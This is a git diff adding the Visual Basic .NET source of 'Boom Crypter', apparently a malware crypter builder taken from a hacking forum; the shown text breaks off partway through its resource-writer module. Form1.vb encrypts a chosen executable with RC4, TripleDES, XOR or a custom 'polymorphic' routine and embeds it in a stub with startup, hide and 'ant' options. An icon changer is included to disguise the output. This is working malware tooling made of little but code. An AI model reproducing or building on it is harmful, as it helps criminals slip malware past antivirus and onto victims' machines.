/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA + + + \ No newline at end of file diff --git a/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Form1.vb b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Form1.vb new file mode 100644 index 0000000..6fd0075 --- /dev/null +++ b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Form1.vb @@ -0,0 +1,214 @@ +Imports System.Text +Imports System.Security.Cryptography +Public Class Form1 + Const Kokrra = "JHqd2ed9" + Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click + Dim Open As New OpenFileDialog + Open.Filter = "Executable Files|*.exe" + If Open.ShowDialog = Windows.Forms.DialogResult.OK Then + TextBox1.Text = Open.FileName + Else : Exit Sub + End If + End Sub + Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click + Dim sfd1 As New SaveFileDialog + sfd1.DefaultExt = "exe" + sfd1.Filter = "Executable Files (*.Exe)|*.Exe" + If sfd1.ShowDialog = Windows.Forms.DialogResult.OK Then + End If + Dim filein As String + Dim something As String = TextBox2.Text + Dim fstart, hide1, ant As String + + Try + If CheckBox1.Checked = True Then + fstart = "True" + Else + fstart = "False" + End If + If CheckBox2.Checked = True Then + hide1 = "True" + Else + hide1 = "False" + End If + If CheckBox3.Checked = True Then + ant = "True" + Else + ant = "False" + End If + + FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default) + filein = Space(LOF(1)) + FileGet(1, filein) + FileClose(1) + + IO.File.Copy(Application.StartupPath & "\Boom.exe", sfd1.FileName) + Dim BuildString As String + If RadioButton1.Checked Then + Dim custom = "Proto" + BuildString = Kokrra & Encoding.Default.GetString(encrypt1(Encoding.Default.GetBytes(filein), something)) & Kokrra & custom & Kokrra & something & Kokrra & fstart & Kokrra & hide1 & Kokrra & ant + ElseIf RadioButton2.Checked Then + Dim custom = "RC4" + BuildString = Kokrra & Encoding.Default.GetString(RC4(Encoding.Default.GetBytes(filein), Encoding.Default.GetBytes(something))) & Kokrra & custom & Kokrra & something & Kokrra & fstart & Kokrra & hide1 & Kokrra & ant + ElseIf RadioButton3.Checked Then + Dim custom = "TripleDES" + BuildString = Kokrra & Encrypt(filein, something, True) & Kokrra & custom & Kokrra & something & Kokrra & fstart & Kokrra & hide1 & Kokrra & ant + ElseIf RadioButton4.Checked Then + Dim custom = "XOR" + + BuildString = Kokrra & DXOR(filein, something, 8) & Kokrra & custom & Kokrra & something & Kokrra & fstart & Kokrra & hide1 & Kokrra & ant + Else + Dim custom = "Stairs" + BuildString = Kokrra & PolyMorphicStairs.PolyCrypt(filein, something, 8) & Kokrra & custom & Kokrra & something & Kokrra & fstart & Kokrra & hide1 & Kokrra & ant + End If + Dim StringtoByte As Byte() = Encoding.Default.GetBytes(BuildString) + ResourceWriter.WriteResource(sfd1.FileName, StringtoByte) + + If TextBox3.Text = "" Then + Else + IconChanger.InjectIcon(sfd1.FileName, TextBox3.Text) + End If + Catch ex As Exception + + End Try + MsgBox("done") + End Sub + Private Function DXOR(ByVal input As String, ByVal key As String, ByVal amount As Integer) As String + 'By d3c0mpil3r from hackforums. + 'Remember : A "Thanks" is always appreciated. + Dim b1, b2 As Byte() + b1 = System.Text.Encoding.Default.GetBytes(input) + b2 = System.Text.Encoding.Default.GetBytes(key) + For i = 0 To b1.Length - 1 + b1(i) = b1(i) Xor (b2(i Mod b2.Length) << (i + amount + b2.Length)) And 255 + Next + Return System.Text.Encoding.Default.GetString(b1) + End Function + + + + Private Shared Function RC4(ByVal Input As Byte(), ByVal Key As Byte()) As Byte() + 'Leave a thanks at least.. + 'by d3c0mpil3r from HF + Dim i, j, swap As UInteger + Dim s As UInteger() = New UInteger(255) {} + Dim Output As Byte() = New Byte(Input.Length - 1) {} + + For i = 0 To 255 + s(i) = i + Next + + For i = 0 To 255 + j = (j + Key(i Mod Key.Length) + s(i)) And 255 + swap = s(i) 'Swapping of s(i) and s(j) + s(i) = s(j) + s(j) = swap + Next + + i = 0 : j = 0 + For c = 0 To Output.Length - 1 + i = (i + 1) And 255 + j = (j + s(i)) And 255 + swap = s(i) 'Swapping of s(i) and s(j) + s(i) = s(j) + s(j) = swap + Output(c) = Input(c) Xor s((s(i) + s(j)) And 255) + Next + + Return Output + End Function + Public Shared Function Encrypt(ByVal toEncrypt As String, ByVal key As String, ByVal useHashing As Boolean) As String + Dim keyArray As Byte() + Dim toEncryptArray As Byte() = UTF8Encoding.UTF8.GetBytes(toEncrypt) + If useHashing Then + Dim hashmd5 As New MD5CryptoServiceProvider() + keyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(key)) + Else + keyArray = UTF8Encoding.UTF8.GetBytes(key) + End If + Dim tdes As New TripleDESCryptoServiceProvider() + tdes.Key = keyArray + tdes.Mode = CipherMode.ECB + tdes.Padding = PaddingMode.PKCS7 + Dim cTransform As ICryptoTransform = tdes.CreateEncryptor() + Dim resultArray As Byte() = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length) + Return Convert.ToBase64String(resultArray, 0, resultArray.Length) + End Function + Public Function encrypt1(ByVal message As Byte(), ByVal password As String) As Byte() + Dim passarr As Byte() = System.Text.Encoding.Default.GetBytes(password) + Randomize() + Dim rand As Integer = Int((255 - 0 + 1) * Rnd()) + 1 + Dim outarr(message.Length) As Byte + Dim u As Integer + For i As Integer = 0 To message.Length - 1 + outarr(i) += (message(i) Xor passarr(u)) Xor rand + If u = password.Length - 1 Then u = 0 Else u = u + 1 + Next + outarr(message.Length) = 112 Xor rand + Return outarr + End Function + Public Function random_key(ByVal lenght As Integer) As String + Randomize() + Dim s As New System.Text.StringBuilder("") + Dim b() As Char = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".ToCharArray() + For i As Integer = 1 To lenght + Randomize() + Dim z As Integer = Int(((b.Length - 2) - 0 + 1) * Rnd()) + 1 + s.Append(b(z)) + Next + Return s.ToString + End Function + Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click + TextBox2.Text = random_key(10) + End Sub + Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click + Dim icoana As New OpenFileDialog + icoana.DefaultExt = "ico" + icoana.Filter = "Icon Files (*.ico*)|*.ico*" + icoana.FilterIndex = 1 + icoana.FileName = "" + If icoana.ShowDialog(Me) = 1 Then + TextBox3.Text = icoana.FileName + End If + TextBox3.Text = icoana.FileName + Dim i As New Icon(icoana.FileName) + Dim b As New Bitmap(i.ToBitmap) + PictureBox1.Image = b + End Sub + Private Sub CheckBox4_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox4.CheckedChanged + If CheckBox4.Checked Then + Button4.Enabled = True + Else + Button4.Enabled = False + End If + If CheckBox4.Checked = True Then TextBox3.Enabled = True : Button4.Enabled = True + If CheckBox4.Checked = False Then TextBox3.Enabled = False : Button4.Enabled = False + End Sub +End Class +Public Class PolyMorphicStairs + Overloads Shared Function PolyCrypt(ByVal Data As String, ByVal Key As String, Optional ByVal ExtraRounds As UInteger = 0) As String + Dim buff() As Byte = PolyCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key), ExtraRounds) + PolyCrypt = Encoding.Default.GetString(buff) + Erase buff + End Function + Overloads Shared Function PolyDeCrypt(ByVal Data As String, ByVal Key As String, Optional ByVal ExtraRounds As UInteger = 0) As String + Dim buff() As Byte = PolyDeCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key), ExtraRounds) + PolyDeCrypt = Encoding.Default.GetString(buff) + Erase buff + End Function + Overloads Shared Function PolyCrypt(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal ExtraRounds As UInteger = 0) As Byte() + Array.Resize(Data, Data.Length + 1) + Data(Data.Length - 1) = Convert.ToByte(New Random().Next(1, 255)) + For i = (Data.Length - 1) * (ExtraRounds + 1) To 0 Step -1 + Data(i Mod Data.Length) = CByte(CInt((Data(i Mod Data.Length)) + CInt(Data((i + 1) Mod Data.Length))) Mod 256) Xor Key(i Mod Key.Length) + Next + Return Data + End Function + Overloads Shared Function PolyDeCrypt(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal ExtraRounds As UInteger = 0) As Byte() + For i = 0 To (Data.Length - 1) * (ExtraRounds + 1) + Data(i Mod Data.Length) = CByte((CInt(Data(i Mod Data.Length) Xor Key(i Mod Key.Length)) - CInt(Data((i + 1) Mod Data.Length)) + 256) Mod 256) + Next + Array.Resize(Data, Data.Length - 1) + Return Data + End Function +End Class \ No newline at end of file diff --git a/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Icon.vb b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Icon.vb new file mode 100644 index 0000000..fc8158c --- /dev/null +++ b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Icon.vb @@ -0,0 +1,153 @@ +Option Strict On +Option Explicit On +Option Infer On +Imports System.Runtime.InteropServices +Imports System.Security +Public Class IconChanger + _ + Private Class NativeMethods + _ + Public Shared Function BeginUpdateResource( _ + ByVal fileName As String, _ + ByVal deleteExistingResources As Boolean) As IntPtr + End Function + _ + Public Shared Function UpdateResource( _ + ByVal hUpdate As IntPtr, _ + ByVal type As IntPtr, _ + ByVal name As IntPtr, _ + ByVal language As Short, _ + _ + ByVal data() As Byte, _ + ByVal dataSize As Integer) As Boolean + End Function + _ + Public Shared Function EndUpdateResource( _ + ByVal hUpdate As IntPtr, _ + ByVal discard As Boolean) As Boolean + End Function + End Class + _ + Private Structure ICONDIR + Public Reserved As UShort + Public Type As UShort + Public Count As UShort + End Structure + _ + Private Structure ICONDIRENTRY + Public Width As Byte + Public Height As Byte + Public ColorCount As Byte + Public Reserved As Byte + Public Planes As UShort + Public BitCount As UShort + Public BytesInRes As Integer + Public ImageOffset As Integer + End Structure + _ + Private Structure BITMAPINFOHEADER + Public Size As UInteger + Public Width As Integer + Public Height As Integer + Public Planes As UShort + Public BitCount As UShort + Public Compression As UInteger + Public SizeImage As UInteger + Public XPelsPerMeter As Integer + Public YPelsPerMeter As Integer + Public ClrUsed As UInteger + Public ClrImportant As UInteger + End Structure + _ + Private Structure GRPICONDIRENTRY + Public Width As Byte + Public Height As Byte + Public ColorCount As Byte + Public Reserved As Byte + Public Planes As UShort + Public BitCount As UShort + Public BytesInRes As Integer + Public ID As UShort + End Structure + Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String) + InjectIcon(exeFileName, iconFileName, 1, 1) + End Sub + Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String, ByVal iconGroupID As UInteger, ByVal iconBaseID As UInteger) + Const RT_ICON As UInteger = 3UI + Const RT_GROUP_ICON As UInteger = 14UI + Dim iconFile As IconFile = iconFile.FromFile(iconFileName) + Dim hUpdate = NativeMethods.BeginUpdateResource(exeFileName, False) + Dim data = iconFile.CreateIconGroupData(iconBaseID) + NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_GROUP_ICON), New IntPtr(iconGroupID), 0, data, data.Length) + For i = 0 To iconFile.ImageCount - 1 + Dim image = iconFile.ImageData(i) + NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_ICON), New IntPtr(iconBaseID + i), 0, image, image.Length) + Next + NativeMethods.EndUpdateResource(hUpdate, False) + End Sub + Private Class IconFile + Private iconDir As New ICONDIR + Private iconEntry() As ICONDIRENTRY + Private iconImage()() As Byte + Public ReadOnly Property ImageCount() As Integer + Get + Return iconDir.Count + End Get + End Property + Public ReadOnly Property ImageData(ByVal index As Integer) As Byte() + Get + Return iconImage(index) + End Get + End Property + Private Sub New() + End Sub + Public Shared Function FromFile(ByVal filename As String) As IconFile + Dim instance As New IconFile + Dim fileBytes() As Byte = IO.File.ReadAllBytes(filename) + Dim pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned) + instance.iconDir = DirectCast(Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject, GetType(ICONDIR)), ICONDIR) + instance.iconEntry = New ICONDIRENTRY(instance.iconDir.Count - 1) {} + instance.iconImage = New Byte(instance.iconDir.Count - 1)() {} + Dim offset = Marshal.SizeOf(instance.iconDir) + Dim iconDirEntryType = GetType(ICONDIRENTRY) + Dim size = Marshal.SizeOf(iconDirEntryType) + For i = 0 To instance.iconDir.Count - 1 + Dim entry = DirectCast(Marshal.PtrToStructure(New IntPtr(pinnedBytes.AddrOfPinnedObject.ToInt64 + offset), iconDirEntryType), ICONDIRENTRY) + instance.iconEntry(i) = entry + instance.iconImage(i) = New Byte(entry.BytesInRes - 1) {} + Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage(i), 0, entry.BytesInRes) + offset += size + Next + pinnedBytes.Free() + Return instance + End Function + Public Function CreateIconGroupData(ByVal iconBaseID As UInteger) As Byte() + Dim sizeOfIconGroupData As Integer = Marshal.SizeOf(GetType(ICONDIR)) + Marshal.SizeOf(GetType(GRPICONDIRENTRY)) * ImageCount + Dim data(sizeOfIconGroupData - 1) As Byte + Dim pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned) + Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject, False) + Dim offset = Marshal.SizeOf(iconDir) + For i = 0 To ImageCount - 1 + Dim grpEntry As New GRPICONDIRENTRY + Dim bitmapheader As New BITMAPINFOHEADER + Dim pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned) + Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject, Marshal.SizeOf(GetType(BITMAPINFOHEADER))) + pinnedBitmapInfoHeader.Free() + grpEntry.Width = iconEntry(i).Width + grpEntry.Height = iconEntry(i).Height + grpEntry.ColorCount = iconEntry(i).ColorCount + grpEntry.Reserved = iconEntry(i).Reserved + grpEntry.Planes = bitmapheader.Planes + grpEntry.BitCount = bitmapheader.BitCount + grpEntry.BytesInRes = iconEntry(i).BytesInRes + grpEntry.ID = CType(iconBaseID + i, UShort) + Marshal.StructureToPtr(grpEntry, New IntPtr(pinnedData.AddrOfPinnedObject.ToInt64 + offset), False) + offset += Marshal.SizeOf(GetType(GRPICONDIRENTRY)) + Next + pinnedData.Free() + Return data + End Function + End Class +End Class + + diff --git a/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/My Project/Application.Designer.vb b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/My Project/Application.Designer.vb new file mode 100644 index 0000000..c488a24 --- /dev/null +++ b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.235 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.Boom_Crypter.Form1 + End Sub + End Class +End Namespace diff --git a/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/My Project/Application.myapp b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/My Project/Application.myapp new file mode 100644 index 0000000..7b0c597 --- /dev/null +++ b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/My Project/Application.myapp @@ -0,0 +1,11 @@ + + + true + Form1 + false + 0 + true + 0 + 0 + true + diff --git a/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/My Project/AssemblyInfo.vb b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..e4ba3e4 --- /dev/null +++ b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + diff --git a/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/My Project/Resources.Designer.vb b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/My Project/Resources.Designer.vb new file mode 100644 index 0000000..ddfd779 --- /dev/null +++ b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/My Project/Resources.Designer.vb @@ -0,0 +1,70 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.235 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Boom_Crypter.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + + Friend ReadOnly Property done() As System.Drawing.Bitmap + Get + Dim obj As Object = ResourceManager.GetObject("done", resourceCulture) + Return CType(obj,System.Drawing.Bitmap) + End Get + End Property + End Module +End Namespace diff --git a/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/My Project/Resources.resx b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/My Project/Resources.resx new file mode 100644 index 0000000..07e4e96 --- /dev/null +++ b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/My Project/Resources.resx @@ -0,0 +1,124 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\done.jpg;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + \ No newline at end of file diff --git a/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/My Project/Settings.Designer.vb b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/My Project/Settings.Designer.vb new file mode 100644 index 0000000..7c32e91 --- /dev/null +++ b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.235 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.Boom_Crypter.My.MySettings + Get + Return Global.Boom_Crypter.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/My Project/Settings.settings b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Resources/done.jpg b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Resources/done.jpg new file mode 100644 index 0000000..b813636 Binary files /dev/null and b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Resources/done.jpg differ diff --git a/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Write.vb b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Write.vb new file mode 100644 index 0000000..f1e5c09 --- /dev/null +++ b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Write.vb @@ -0,0 +1,39 @@ +Imports System.Runtime.InteropServices +Module ResourceWriter + Private Function ToPtr(ByVal data As Object) As IntPtr + Dim h As GCHandle = GCHandle.Alloc(data, 